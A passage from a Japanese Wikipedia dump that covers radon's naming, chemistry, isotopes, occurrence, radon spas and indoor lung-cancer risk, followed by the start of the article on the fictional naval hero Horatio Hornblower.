ドルンはこの元素を「放射」を意味する “emanation” と呼んだが、ラザフォードは “radium emanation” と呼び、[[ウィリアム・ラムゼー]]は[[ラテン語]]で「光る」を意味する “nitens” にちなみ「ニトン (Niton)」と呼んだ。結局、[[1923年]]になって[[ラジウム]]から生まれる気体という意味から、[[ラテン語]]の ''radius'' を語源とする “radon” とすることが化学者たちの国際機関により決定した。
== 歴史 ==
[[ラジウム]]に接した大気が放射性を持つということは[[キュリー夫妻]]が発見していたが、[[1900年]]になって、[[ドイツ]]の物理学者[[フリードリヒ・エルンスト・ドルン]]が元素であることを発見し、[[アーネスト・ラザフォード]]と[[フレデリック・ソディ]]が[[トリウム]]から発見していた放射性の気体と同一であることを示した<ref name="sakurai">{{Cite |和書 |author =[[桜井弘]]|||title = 元素111の新知識|date = 1998| pages = 350|publisher =[[講談社]]| series = |isbn=4-06-257192-7 |ref = harv}}</ref>。
== 性質 ==
[[File:Radon spectrum.png|thumb|right|300px|1908年に[[アーネスト・ラザフォード]]によって撮影されたラドンの[[放出スペクトル]]。スペクトルの横に記された数字は波長を示す。中央のスペクトルがラドンのものであり、外側の2つのスペクトルは波長を校正するために添加されたヘリウムのスペクトルである。]]
=== 物理的性質 ===
ラドンは無味無臭、無色の気体であるため、人間が知覚することはできない。[[標準状態]]では[[単原子分子]]として存在しており、その密度は9.73 kg/m<sup>3</sup>と海面における[[地球の大気|大気]]の密度1.217 kg/m<sup>3</sup>のおよそ8倍である<ref>{{cite web| title=Radon| publisher=All Measures| date=2004| url=http://www.allmeasures.com/Formulae/d1/d2/d3/Results2_2.asp?formula=2&material=Radon+&| accessdate=2008-02-12| archiveurl=https://web.archive.org/web/20110809192552/http://www.allmeasures.com/Formulae/d1/d2/d3/Results2_2.asp?formula=2&material=Radon+[Rn]| archivedate=2011年8月9日}}</ref><ref>{{cite web| last=Williams|first=David R.|date=2007-04-19|url=http://nssdc.gsfc.nasa.gov/planetary/factsheet/earthfact.html|title=Earth Fact Sheet|publisher=[[アメリカ航空宇宙局|NASA]]|accessdate=2008-06-26}}</ref>。標準状態では無色であるが、-71.15 {{℃}}(202 [[ケルビン|K]])の[[融点]]以下まで冷却して固体状態になると黄色から赤橙色の鮮やかな{{仮リンク|放射線ルミネセンス|en|Radioluminescence}}を発する<ref>{{cite web|accessdate=2008-06-26|url=http://education.jlab.org/itselemental/ele086.html|title=Radon |publisher=Jefferson Lab}}</ref>。また、[[結露]]して液体状態になると青色から薄紫色に発光する<ref>{{cite book|title=Noble Gases|first=Jens|last=Thomas |url=https://books.google.co.jp/books?id=T0Iiv0BJ1E0C&pg=PA13&redir_esc=y&hl=ja|publisher=Marshall Cavendish|date=2002|isbn=978-0-7614-1462-9|page=13}}</ref>。水に対するラドンの溶解度は他の[[貴ガス元素]]と比較して、[[キセノン]]の約2倍、[[クリプトン]]の約4倍、[[アルゴン]]の約8倍、[[ネオン]]や[[ヘリウム]]の約20倍である。有機溶剤やプラスチックに対するラドンの溶解度は水に対するそれよりも約50倍大きい。
=== 化学的性質 ===
ラドンは[[価電子]]がゼロである貴ガス元素に属している。そのような元素は[[最外殻電子]]が[[閉殻]]であることに起因して電子が最低の[[エネルギー準位]]を形成し、安定化する。そのため、ラドンは大部分の一般的な化学反応(例えば[[燃焼]]など)に対して不活性である<ref>{{cite web|last=Bader|first=Richard F. W.|url=http://miranda.chemistry.mcmaster.ca/esam/|title=An Introduction to the Electronic Structure of Atoms and Molecules|publisher=[[McMaster University]]|accessdate=2008-06-26}}</ref>。最外殻の電子1つを引き離すために必要な第一[[イオン化エネルギー]]は1037 kJ/mol<ref>{{cite book|author=David R. Lide |title=CRC Handbook of Chemistry and Physics |edition=84th|publisher=CRC Press|location=Boca Raton, Florida|date=2003|chapter=Section 10, Atomic, Molecular, and Optical Physics; Ionization Potentials of Atoms and Atomic Ions}}</ref>。貴ガス元素は[[周期表]]上において原子番号が大きくなるほど[[電気陰性度]]が大きくなる周期的な傾向がみられるため、貴ガス元素の中で最も原子番号の大きなラドンは貴ガス元素の中では反応性が高い。初期の研究において、ラドンの[[水和物]]の安定性は[[塩素]] (Cl<sub>2</sub>)もしくは[[二酸化硫黄]] (SO<sub>2</sub>)と同程度であり、[[硫化水素]] (H<sub>2</sub>S)のそれよりはかなり高いと結論付けられている<ref>{{cite journal|doi=10.1070/RC1982v051n01ABEH002787|title=The Chemistry of Radon|date=1982|author=Avrorin, V V|journal=Russian Chemical Reviews|volume=51|page=12|last2=Krasikova|first2=R N|last3=Nefedov|first3=V D|last4=Toropova|first4=M A|bibcode = 1982RuCRv..51...12A }}</ref>。
研究コストの高さと[[放射能]]のために、ラドンの実験的な化学研究はあまり行われてこなかった。そのため、ラドン化合物の報告はフッ化物と酸化物に関するわずかな報告があるのみである。ラドンは2、3の強力な酸化剤によって酸化することができ、例えばフッ素によって[[二フッ化ラドン]]が形成される<ref>{{cite journal|author=Stein, L.|date=1970|journal=Science|volume =168|doi=10.1126/science.168.3929.362|title=Ionic Radon Solution|pmid=17809133|issue=3929|bibcode=1970Sci...168..362S|pages=362–4}}</ref><ref>{{cite journal|author=Pitzer, Kenneth S.|date=1975|journal=J. Chem. Soc., Chem. Commun.|pages=760–1|title=Fluorides of radon and element 118|doi=10.1039/C3975000760b|issue=18}}</ref>。二フッ化ラドンは250 {{℃}}以上の温度でそれぞれの元素に分解する。低揮発性の物質でありRnF<sub>2</sub>の組成を持つと考えられているが、ラドンの半減期の短さと放射能のために詳細な性質を研究することはできていない。二フッ化ラドン分子の理論的研究によれば、Rn-F結合の結合距離は2.08 [[オングストローム|Å]]であり、二フッ化キセノンよりは熱力学的に安定であると予測されている<ref>{{cite journal|doi=10.1021/jp9825516|title=Chemical Bonding in XeF<sub>2</sub>, XeF<sub>4</sub>, KrF<sub>2</sub>, KrF<sub>4</sub>, RnF<sub>2</sub>, XeCl<sub>2</sub>, and XeBr<sub>2</sub>: From the Gas Phase to the Solid State|date=1998|author=Meng- Sheng Liao|author2=Qian- Er Zhang|journal=The Journal of Physical Chemistry A|volume=102|page=10647|issue=52}}</ref>。よりフッ素数の多いRnF<sub>4</sub>およびRnF<sub>6</sub>の存在が主張されており<ref name="RnO3"/>、それらは安定な物質であると計算されているが<ref name="Thayer">{{cite journal |last1=Thayer |first1=John S. |title=Relativistic Effects and the Chemistry of the Heavier Main Group Elements |year=2010 |page=80 |doi=10.1007/978-1-4020-9975-5_2}}</ref>、実際に合成されたかどうかは疑わしい<ref name="RnO3">{{cite book |last=Sykes |first=A. G. |title=Advances in Inorganic Chemistry |volume=46 |chapter=Recent Advances in Noble-Gas Chemistry |url=https://books.google.co.jp/books?id=6iqXRtz6p3QC&redir_esc=y&hl=ja |accessdate=2012-11-02|date=1998 |publisher=Academic Press |isbn=978-0120236466 |pages=91–93}}</ref>。例えば、八面体分子構造を取るRnF<sub>6</sub>は、二フッ化物よりも更に低いエンタルピーを有すると予測されている<ref>{{cite journal|doi=10.1039/b212460m|title=Bonding in radon hexafluoride: An unusual relativistic problem?|date=2003|author=Filatov, Michael|journal=Physical Chemistry Chemical Physics|volume=5|page=1103|last2=Cremer|first2=Dieter|issue=6|bibcode = 2003PCCP....5.1103F }}</ref>。[ RnF ]<sup>+</sup>は以下の反応によって形成されると考えられている<ref>{{cite journal|doi=10.1016/S0022-1139(00)85275-6|title=Noble-gas fluorides|date=1986|author=Holloway, J|journal=Journal of Fluorine Chemistry|volume=33|page=149}}</ref>。
: <chem>Rn(g) + 2[O2]^+[SbF6]^-(s) -> [RnF]^+[Sb2F11]^-(s) + 2O2(g)</chem>
酸化ラドンは他の数少ない報告されているラドン化合物の一つであり<ref>{{cite journal|title=The Chemistry of Radon|volume=51|journal=Russ. Chem. Review|date=1982|page=12|author=Avrorin, V. V.|author2=Krasikova, R. N.|author3=Nefedov, V. D.|author4=Toropova, M. A.|doi=10.1070/RC1982v051n01ABEH002787|bibcode = 1982RuCRv..51...12A }}</ref>、三酸化物のみが確認されている<ref name="RnO3"/>。カルボニルラドン (RnCO)は安定な化合物であり、[[直線形|直線形分子構造]]を取ると予測されている<ref>{{cite journal|doi=10.1002/qua.963|title=Prediction of the existence of radon carbonyl: RnCO|date=2002|author=Malli, Gulzari L.|journal=International Journal of Quantum Chemistry|volume=90|page=611|issue=2}}</ref>。二原子分子であるRn<sub>2</sub>およびRnXeは[[スピン軌道相互作用]]によって著しく安定化することが分かっている<ref>{{cite journal|doi=10.1002/(SICI)1097-461X(1998)66:2<131::AID-QUA4>3.0.CO;2-W|title=Relativistic pseudopotential calculations on Xe<sub>2</sub>, RnXe, and Rn<sub>2</sub>: The van der Waals properties of radon|date=1998|author=Runeberg, Nino|journal=International Journal of Quantum Chemistry|volume=66|page=131|last2=Pyykkö|first2=Pekka|issue=2}}</ref>。[[フラーレン]]の籠の中にラドンを内包させたものは[[腫瘍]]に対する薬剤として提案されている<ref>{{cite news|last=Browne |first=Malcolm W. |url=http://query.nytimes.com/gst/fullpage.html?res=9F0CE2DE1E3CF936A35750C0A965958260&sec=&spon=&pagewanted=all |title=Chemists Find Way to Make An 'Impossible' Compound |work=The New York Times |date=1993-03-05 |accessdate=2009-01-30}}</ref><!-- {{doi|10.1080/00268979100102951}} -->。同じ貴ガス元素であるキセノンにXe (VIII)が存在しているにもかかわらず、Rn (VIII)の存在は主張されていない。これは、XeF<sub>8</sub>が熱力学的に不安定であることから、RnF<sub>8</sub>は更に不安定であるはずだと考えられているためである。最も安定なRn (VIII)化合物は過ラドン酸バリウム (Ba<sub>2</sub>RnO<sub>6</sub>)であると予測されており、それは過キセノン酸バリウム (Ba<sub>2</sub>XeO<sub>6</sub>)に類似しているとされる<ref name="Thayer"/>。Rn (VIII)の不安定さは、[[不活性電子対効果]]として知られている6s軌道の相対的な安定性によるものである<ref name="Thayer"/>。
== 同位体 ==
{{Main|ラドンの同位体}}
最も半減期の長い <sup>222</sup>Rn は [[ウラン238|<sup>238</sup>U]] を始まりとする[[ウラン系列]]に属し、起源は <sup>238</sup>U([[半減期]]4.468×10<sup>9</sup>年) → [[ウラン234|<sup>234</sup>U]](2.455×10<sup>5</sup>年) → [[トリウム230|<sup>230</sup>Th]](7.538×10<sup>4</sup>年) → [[ラジウム226|<sup>226</sup>Ra]](1600年) → [[ラドン222|<sup>222</sup>Rn]](3.8日)である。
<sup>222</sup>Rn の[[崩壊生成物|壊変生成物]]は数十分の半減期で高エネルギーの[[α線]]3本及び[[β線]]2本の放射線を出して [[鉛210|<sup>210</sup>Pb]](約22年)に至る。
ラドンの同位体には特に名前が付いているものがある。<sup>222</sup>Rn を狭義にラドン、<sup>220</sup>Rn を'''トロン'''(thoron、記号 Tn)、<sup>219</sup>Rn を'''アクチノン'''(actinon、記号 An)と呼ぶ。[[ラジウム]]、[[トリウム]]、[[アクチニウム]]の壊変によって得られることに由来し、それぞれ別の気体と考えられていた頃の名残である。
なお、<sup>222</sup>Rn は [[世界保健機関|WHO]] の下部機関 '''[[国際がん研究機関|IARC]]''' より[[発癌性]]があると (Type1) 勧告されており、土壌に含まれるラドンが地下室に蓄積することなど、危険性が指摘されている。
== 発生 ==
ラドンの上位[[核種]]である[[ウラン]]は地下深部にあって[[マグマ]]の上昇とともに地表にもたらされる。マグマが比較的ゆっくりと固まると、[[花崗岩]]に見られるように[[長石]]、[[石英]]、[[雲母]]の結晶が大きく成長する。その結果として、ウランなど他の元素成分は結晶間の隙間に追いやられる。[[風化]]によって結晶間のウランが岩石から解き放たれ、河川上流など酸化環境で水に溶けやすい[[ウラニル]][[錯体]]として水によって運搬される。水中ウランは[[扇状地]]や[[断層]]など河川水が[[地下水]]化しやすい還元環境で堆積層に濃集を繰り返し、ウラン、[[ラジウム]]、ラドンの濃度の高い地層が形成される。
== 用途 ==
[[放射線]]源([[放射性同位体]])として利用されていたが、現在は他のもの([[コバルト]]、[[ストロンチウム]]など)に置き換えられている。
地下水中のラドンの調査は、掘り返すことの困難な地下構造を知る上で重要である。ラドンの拡散速度及び地下水の垂直流動速度に比較して、ラドン半減期の短さから地層単位で異なるラドン濃度を反映しやすい。短いスケールとしての、水の[[トレーサー]]としての利用がある。[[宏観異常現象|地震の先行現象]]としての地下水ラドン濃度変化<ref>[https://www.mext.go.jp/component/b_menu/shingi/toushin/__icsFiles/afieldfile/2013/12/19/1339687_20.pdf 地震に先行する大気中ラドン濃度変動に関する観測]</ref>は、1970年代より数多く報告されているが、その機構はまだ十分解明されてはいない。
[[衛生|保健衛生]]面からは、ラドンは気体として[[呼吸器]]に取り込まれ、その娘核種が[[肺胞]]に付着することで[[ウラン]][[鉱山]]労働者などに[[放射線障害]]を起こしやすい。公衆の発ガン性リスクとしては、石造りの家、[[地下室]]などの空気中ラドン濃度調査が重要である。
ラドンによる体内[[被曝]]量は、日本平均で年間0.4 m[[シーベルト|Sv]]、世界平均で年間1.28 mSvと言われている<ref name="中電">http://www.chuden.co.jp/energy/nuclear/nuc_hosha/nuch_sizen/index.html</ref><ref name="UNSCEAR">国連科学委員会 (UNSCEAR) 2000年報告(「原子力・エネルギー」図面集2009)</ref><ref>http://safety-info.nifs.ac.jp/safe/safe_ref.html</ref>。
== ラドン温泉 ==
[[温泉]]の含有成分としてラドンを含むものは[[放射能泉]]として分類される。ラドンおよびそれ以後の各種放射性同位体が放つ[[放射線]]が健康に寄与するとの考え方([[ホルミシス効果]])があり、[[痛風]]、[[血圧]]降下、[[循環器]]障害の改善や[[悪性腫瘍]]の成長を阻害するなどの効能が信じられている。
'''放射能泉(含放射能-ラドン泉)'''とは、[[ラドン222]]の濃度が673 [[ベクレル|Bq]]/L以上のものとし、[[ラジウム]]が100 ng/L以上含まれるものである。オーストリアや日本、ロシアをはじめ、世界中に、療養のために活用されるラドン泉やラドン洞窟が存在する。また、[[ラドン222]]の濃度が111 [[ベクレル|Bq]]/L以上のものを療養泉弱[[放射能泉]]とし、[[ラドン222]]の濃度が74 [[ベクレル|Bq]]/L以上のものを[[鉱泉]]という。
1940年に[[オーストリア]]の[[バート・ガスタイン]]のタウエルン山でラドン泉が発見され、1950年代から[[インスブルック大学]]医学部と{{仮リンク|ザルツブルク大学|en|University of Salzburg}}理学部の共同研究で、ラドン濃度と治療効果との関連性について研究が開始された<ref name="kansetsuen">{{Cite web|和書|url=http://homepage3.nifty.com/anshin-kagaku/sub060201hobutsu2002_aoyama.html|title=ラドンで関節炎を治そう|author=滋賀医科大学名誉教授 青山喬|accessdate=2011-03-30}}</ref>。研究の結果、臨床医学的に有効である病気には、強直性脊椎炎(ベヒテレフ病)、リュウマチ性慢性多発性関節炎、変形性関節症、喘息、アトピー性皮膚炎などが挙げられ、ラドン (<sup>222</sup>Rn) 放射能レベルが300 - 3000 Bq/Lと高い世界の全ての温泉では、適応症のリストが経験的に同じようなものになるとされる。バート・ガスタインのラドン泉ではラドン222の濃度が110 Bq/L以上で放射能療養泉と呼ばれ、年間約10,000人の患者が訪れる。また、バート・ガスタインの近郊には、ガスタイン療養トンネルがあり、「トンネル療法」が実践されている<ref name="kansetsuen" />。治療方式は、電動トロッコでトンネル内に入り、約2.5 km奥にある4か所の治療ステーションで一定時間ベッドに臥床する。ラドン濃度は166,500 Bq/m<sup>2</sup>で、トンネル内温度は37 - 41.5 {{℃}}、湿度は70 - 95%である。標高は1,888 - 2,238 m。
日本国内では[[三朝温泉]]([[三朝町|鳥取県三朝町]])、[[有馬温泉]]([[神戸市|兵庫県神戸市]])<ref>{{Cite web|和書|url=http://www-sdc.med.nagasaki-u.ac.jp/abdi/publicity/radioactivity_qa.html|title=一般の皆さまへ:放射能Q&A|publisher=[[長崎大学]]原爆後障害医療研究所|accessdate=2015-09-04}}</ref>、[[るり渓温泉]]([[南丹市|京都府南丹市]])<ref>{{Cite web|和書|url=http://utkhii.px.tsukuba.ac.jp/~radon/?plugin=attach&refer=%E6%8C%87%E5%B0%8E%E6%96%B9%E6%B3%95&openfile=%E3%83%A9%E3%83%89%E3%83%B3%E6%A4%9C%E5%87%BA%E5%99%A8%E3%81%A8%E3%81%AF.pdf|format=PDF|title=ラドン検出器とは?|publisher=[[筑波大学]]高エネルギー原子核実験グループ|accessdate=2015-09-04}}</ref>、[[湯来温泉]]([[佐伯区|広島市佐伯区]])などが[[ラジウム温泉]]として知られている<ref>{{Cite web|和書|url=http://home.hiroshima-u.ac.jp/sonodera/21c/ozeki1.htm|title=教養ゼミレポート 21世紀に残したい広島の自然環境|publisher=[[広島大学]]環境地形学研究室(小野寺研)|accessdate=2015-09-04}}</ref>。特に三朝温泉は[[療養泉]]として古くから様々な患者を受け入れている<ref>{{Cite news|url=http://www.sankei.com/west/news/150424/wst1504240060-n1.html|title=「世界に発信したい」 「投入堂」など日本遺産認定で鳥取・三朝町長|newspaper=[[産経新聞]]|date=2015-04-24|accessdate=2015-09-04}}</ref>。
== 屋内ラドンの危険性 ==
ラドンは[[喫煙]]に次ぐ[[肺癌]]のリスク要因とされ、これまでに、住居内におけるラドン濃度と肺癌リスクの関係について多数の研究が行われている。それらの研究を統合した[[メタアナリシス]]の結果によれば、屋内ラドンによるリスクは線量に依存し、時間加重平均暴露値として150 Bq/m<sup>3</sup>あたり24%の肺癌リスクの増加になることがわかった<ref>{{cite journal |url=http://www.who.int/bulletin/volumes/81/10/Pavia1003.pdf |title=Meta-analysis of residential exposure to radon gas and lung cancer |author=Maria Pavia et al. |journal=Bulletin of the World Health Organization |date=2003 |volume=81 |issue=10 |pages=732-738 |doi=10.1590/S0042-96862003001000008 |quote=Our meta-analysis suggests a significantly increased risk of lung cancer in people exposed to radon gas in their homes. This association seems to be dose related, and an increase of 24% in the risk of lung cancer was found at a time-weighted mean exposure of 150 Bq/m<sup>3</sup>.}}</ref>。同様に大規模な症例数を用いた解析として、欧州9ヶ国の13の[[症例対照研究]]を対象にしたプール解析の結果は、線量応答反応は [[:en:Linear no-threshold model|LNT]] モデルに従っており、統計学的に有意な正の値で、100 Bq/m<sup>3</sup>(ランダム誤差を調整した暴露推定値)あたり16%の肺癌リスクの増加を示し<ref>{{cite journal |url=http://www.bmj.com/content/330/7485/223.full |title=Radon in homes and risk of lung cancer: collaborative analysis of individual data from 13 European case-control studies |author=Sarah Darby et al. |journal=British medical journal |date=2004 |volume=330 |issue=7485 |pages=223-227 |doi=10.1136/bmj.38308.477650.63 |quote=This corresponds to an increase of 16% (5% to 31%) per 100 Bq/m<sup>3</sup> increase in usual radon—that is, after correction for the dilution caused by random uncertainties in measuring radon concentrations. The dose-response relation seemed to be linear with no threshold and remained significant (P = 0.04) in analyses limited to individuals from homes with measured radon < 200 Bq/m<sup>3</sup>.}}</ref>、他の[[組織型]]に比べて[[小細胞肺癌]]のリスクが高く、ラドンに暴露した鉱夫の小細胞癌の疫学的研究とも矛盾しない結果が得られた<ref>{{cite journal |url=http://www.bmj.com/content/330/7485/223.full |title=Radon in homes and risk of lung cancer: collaborative analysis of individual data from 13 European case-control studies |author=Sarah Darby et al. |journal=British medical journal |date=2004 |volume=330 |issue=7485 |pages=223-227 |doi=10.1136/bmj.38308.477650.63 |quote=The increase in risk per 100 Bq/m<sup>3</sup> measured radon, however, was 31.2% (12.8% to 60.6%) for small cell lung cancer, while for all other histological types combined it was 2.6% (< 0% to 10.2%) (P = 0.03 for difference), in accordance with the steeper dose-response relation reported for small cell cancer in early studies of miners exposed to radon.}}</ref>。
=== ラドン濃度から被曝線量への換算 ===
屋内ラドンの吸入による被曝線量 ''D'' [mSv] は、[[原子放射線の影響に関する国連科学委員会|UNSCEAR]] により次式で表される<ref>{{cite |url=http://wwwsoc.nii.ac.jp/aesj/backend/JNUCE/Vol14-1/p43-50.pdf |title=自然環境中のウラン —環境中ウラン濃度とウランのクリアランス・レベル— |volume=14 |issue=1 |pages=43-50 |author=下道國 |date=December 2007 |work=原子力バックエンド研究 |publisher=原子力学会バックエンド部会 |accessdate=2011-07-05}}</ref><ref>{{cite |url=http://www.hotspringsci.jp/index/vol55_pdf/vol55no4_177_187.pdf |title=岐阜県の一温泉施設のラドン濃度と被曝線量試算 |volume=55 |pages=177-187 |author=下道國ほか |date=2006 |work=温泉科学 |publisher=日本温泉科学会 |accessdate=2011-07-05}}</ref>。
{{indent|''D'' = ''QKTF''}}
''Q'' は空気中のラドン濃度 [Bq/m<sup>3</sup>]、''K'' は線量換算係数で、値は9×10<sup>−6</sup> mSv/(Bq h /m<sup>3</sup>) が用いられる。''T'' は所在期間で、年間の逗留率を0.8と仮定すると、0.8×8760 h/年。''F'' はラドン壊変生成核種のラドンに対するポテンシャルアルファエネルギーの比で、屋内の値として0.4が用いられる。
これらの値を用いて計算すると、屋内ラドン濃度の世界の算術平均は40 Bq/m<sup>3</sup>なので、年間の被曝線量 ''D'' は、(40 Bq/m<sup>3</sup>) × (9×10<sup>−6</sup> mSv/(Bq h/m<sup>3</sup>)) × (0.8×8760 h/年) × 0.4 ≒ 1 mSv/年と見積もられる。日本の屋内ラドン濃度の算術平均は15.5 Bq/m<sup>3</sup>で、年間の被曝線量 ''D'' は0.39 mSv/年となる。100 Bq/m<sup>3</sup>なら、2.5 mSv/年と換算される。
=== WHOによる屋内ラドンの危険性に関する問題提起 ===
2005年6月、[[世界保健機関]] (WHO) は、ラドンは[[喫煙]]に次ぐ[[肺癌]]のリスク要因とし、これまでに、住居内におけるラドン濃度と肺癌リスクの関係について多数の研究が行われているとして、放射性であるラドンが肺癌の重要な原因であることを警告した<ref name="WHO2005_Jun">[http://www-sdc.med.nagasaki-u.ac.jp/gcoe/activities/who/2project.pdf 「WHO、ラドンによる危険性を最小化するためのプロジェクトを開始」]</ref><ref>[http://www.n.t.u-tokyo.ac.jp/kosako/modules/home3/content/r3.pdf 飯本武志(東京大学准教授)「ラドンの安全規則」(「職場と一般環境のラドンの対策」)]</ref>。
同機関は、各国の肺癌の発生率を低減させる活動の一部として、各地域におけるラドンガスに関連する健康被害の軽減を支援するための初の国際ラドンプロジェクトを2005年に発足させ<ref name="WHO2005_Jun" />、2009年にはその成果を「屋内ラドンに関するWTOハンドブック」として公表した<ref>[http://www.who.int/ionizing_radiation/env/radon/en/index.html (WHO) International Radon Project]</ref>。
2004年、欧州の疫学調査の基礎データを解析した結果、100 Bq/m<sup>3</sup>レベルというラドン濃度環境においても肺がんのリスクが有意に高く、その線量-効果関係は、閥値無しで直線的な関係(どれほど微量な線量であっても、それに見合った分だけ発がん確率が上昇する)にあるという論文が発表された<ref>[Radon in homes and risk of lung cancer:collaborative analysis of individual data fromn 13 European case-control studies] - Br. Med. J, 24</ref><ref>{{Cite web|和書|url=http://homepage3.nifty.com/anshin-kagaku/sub051103yamada.html|title=WHO国際ラドンプロジェクトについて|author=(独)放射線医学総合研究所 山田裕司|accessdate=2011-03-30}}</ref>。
2005年8月、WHO は、高自熱放射線とラドンに関する第6回国際会議 (6th lnt. Conf. on High Levels of Natural Radiation and Radon Areas) を開催し、RRR (Residential Radon Risk) に関するラドンプロジェクトを開始した。200 - 400Bq/m3の室内ラドン濃度を限界濃度あるいは基準濃度として許容している国が多数である<ref>[http://www.who.int/entity/ionizing_radiation/pub_meet/factsheets/radon_fs_291_japan.pdf 「大気中と水中のラドン濃度に関するガイドライン」『ラドンと癌』] (PDF) WHO p. 3</ref>。
アメリカの[[アメリカ合衆国環境保護庁|環境保護庁]] (EPA) の見解によると、ラドンに安全量はなく、少しの被曝でも癌になる危険性をもたらすものとされ、[[米国科学アカデミー]]は毎年15,000から22,000人のアメリカ人が屋内のラドンが関係する肺癌によって命を落としていると推定している<ref>{{cite web |url=http://www.epa.gov/radiation/radionuclides/radon.html |title=Radon, Radiation Protection |author=US Environmental Protection Agency |year= |accessdate=2011-05-18 |quote=There is no safe level of radon--any exposure poses some risk of cancer. In two 1999 reports, the National Academy of Sciences (NAS) concluded after an exhaustive review that radon in indoor air is the second leading cause of lung cancer in the U.S. after cigarette smoking. The NAS estimated that 15,000-22,000 Americans die every year from radon-related lung cancer.}}</ref><ref>{{cite |url=http://www.niph.go.jp/soshiki/seikatsu/info.htm |chapterurl=http://www.niph.go.jp/soshiki/seikatsu/radon/model1.pdf |title=生活環境部の提供する情報 |chapter=環境保護庁 住居内ラドンによるリスクの評価 |author=翻訳責任 国立保健医療科学院、生活環境部 鈴木元、緒方裕光、笠置文 |date=2009年1月 |work=[[国立保健医療科学院]]生活環境部 |accessdate=2011-07-03}}</ref>。
== ラドンの化合物 ==
* [[二フッ化ラドン]]
== 脚注 ==
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== 関連項目 ==
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== 外部リンク ==
* {{Kotobank}}
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| https://ja.wikipedia.org/wiki/%E3%83%A9%E3%83%89%E3%83%B3 |
6,819 | ホレイショ・ホーンブロワー | ホレイショ・ホーンブロワー(Horatio Hornblower、1776年7月4日 - ?)は、セシル・スコット・フォレスターの海洋小説『ホーンブロワーシリーズ』の主人公で、架空のイギリス海軍軍人。後、提督、バス勲爵士、子爵。
1937年に刊行された、シリーズ第1作『パナマの死闘』にて初登場。シリーズはフォレスターが死去する1966年まで、30年近くに渡り続いた。
シャーロック・ホームズやジェームズ・ボンドと同じく、架空の人物ではあるものの世界的な有名人であるため、同年代を描いた他の作家の小説の中に登場人物として現れることもある。また、パーキンソンの法則で知られる政治学者のシリル・ノースコート・パーキンソン(英語版)は、ホーンブロワーが実在の人物だったという設定で『ホレイショ・ホーンブロワーの生涯とその時代』(The Life and Times of Horatio Hornblower)という評伝も著している(邦訳有り:現在絶版)。
ホレイショという名前は初代ネルソン子爵ホレーショ・ネルソンと同名だが作者は「ハムレット」からの連想としている。なお、第10代ダンドナルド伯爵トマス・コクランなど複数の人物がモデルとされている。
語学(フランス語・スペイン語)・数学には抜群の才能を持つ反面、高所恐怖症・船酔い・音痴(自国の国歌がわからない)等の欠点も持ちあわせる。ホイストを愛する。元来おしゃべりな性質とのことだが、上に立つ者は無口で弱みが無く、行動が予測不可能であることが望ましいという信条から、そのような上司を演じている。
1776年7月4日、ケント生まれ。薬剤師(当時のイギリスでは薬剤師による診察が認められており、多くの薬剤師が医師を兼業していた)の家庭で育つ。幼くして両親と死別。イギリス東インド会社の商船乗組員を志すも断念。
1794年1月、17歳で3等級戦列艦ジャスティニアン号の士官候補生として着任。ホイストをきっかけにエドワード・ペルー提督と知己になり、アレスーザ号に転属する。同年11月、ペルー提督の副官として、インディファティガブル号に転属。1797年、捕獲したル・ルーヴ号の指揮官となるが、スペイン艦隊と遭遇し捕虜となり、2年近くをスペインで過ごすことになる。この間にスペイン語を習得した。1798年、スペインの私掠船が難破し、乗組員を救助。このことによって、釈放されポーツマスへ帰還する。
5等海尉としてレナウン号に乗艦。海尉艦長として砲艦ホットスパー号を、勅任艦長としてスループ艦アトロポス号、フリゲート艦リディア号、戦列艦サザランド号を指揮する。戦隊司令官を2度経験する。
さらに提督(西インド諸島方面艦隊司令長官職等を経験)を経て1848年に海軍元帥になった。
パーキンソンによる『伝記』では、1858年1月12日に死去したとされる。
最初の妻:マリア・エレン・メイソンとの間に、長男:ホレイショと長女:マリアがいたが、二人とも天然痘により夭折している。マリアと死別した後、初代ウェリントン公爵アーサー・ウェルズリーの妹バーバラと再婚した。
1951年の映画「艦長ホレーショ」(Captain Horatio Hornblower R.N.)ではグレゴリー・ペックが、1998年~2003年の長編テレビドラマシリーズ『ホーンブロワー 海の勇者』ではヨアン・グリフィズがホーンブロワーを演じている。
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| ホレイショ・ホーンブロワーは、セシル・スコット・フォレスターの海洋小説『ホーンブロワーシリーズ』の主人公で、架空のイギリス海軍軍人。後、提督、バス勲爵士、子爵。 | {{基礎情報 軍人
| 氏名 = ホレイショ・ホーンブロワー
| 各国語表記 = Horatio Hornblower
| 生年月日 = [[1776年]][[7月4日]]
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'''ホレイショ・ホーンブロワー'''(Horatio Hornblower、[[1776年]][[7月4日]] - ?)は、[[セシル・スコット・フォレスター]]の海洋小説『[[ホーンブロワーシリーズ]]』の主人公で、架空の[[イギリス海軍]]軍人。後、[[提督]]、[[バス勲章|バス]][[ナイト|勲爵士]]、[[子爵]]。
== 概要 ==
1937年に刊行された、シリーズ第1作『[[パナマの死闘]]』にて初登場。シリーズはフォレスターが死去する1966年まで、30年近くに渡り続いた。
[[シャーロック・ホームズ]]や[[ジェームズ・ボンド]]と同じく、架空の人物ではあるものの世界的な有名人であるため、同年代を描いた他の作家の小説の中に登場人物として現れることもある。また、[[パーキンソンの法則]]で知られる政治学者の{{仮リンク|シリル・ノースコート・パーキンソン|en|C. Northcote Parkinson}}は、ホーンブロワーが実在の人物だったという設定で『ホレイショ・ホーンブロワーの生涯とその時代』(''The Life and Times of Horatio Hornblower'')という評伝も著している(邦訳有り:現在絶版)。
ホレイショという名前は初代[[ネルソン子爵]][[ホレーショ・ネルソン (初代ネルソン子爵)|ホレーショ・ネルソン]]と同名だが作者は「[[ハムレット]]」からの連想としている。なお、第10代[[ダンドナルド伯爵]][[トマス・コクラン]]など複数の人物がモデルとされている。
== 人物 ==
===外見===
===性格・能力===
語学([[フランス語]]・[[スペイン語]])・数学には抜群の才能を持つ反面、高所恐怖症・船酔い・音痴(自国の国歌がわからない)等の欠点も持ちあわせる。[[ホイスト]]<!--([[トリックテイキングゲーム]]の一種)-->を愛する。元来おしゃべりな性質とのことだが、上に立つ者は無口で弱みが無く、行動が予測不可能であることが望ましいという信条から、そのような上司を演じている。
===略歴===
[[1776年]][[7月4日]]、[[ケント (イングランド)|ケント]]生まれ。[[薬剤師]](当時のイギリスでは薬剤師による診察が認められており、多くの薬剤師が医師を兼業していた)の家庭で育つ。幼くして両親と死別。[[イギリス東インド会社]]の商船乗組員を志すも断念。
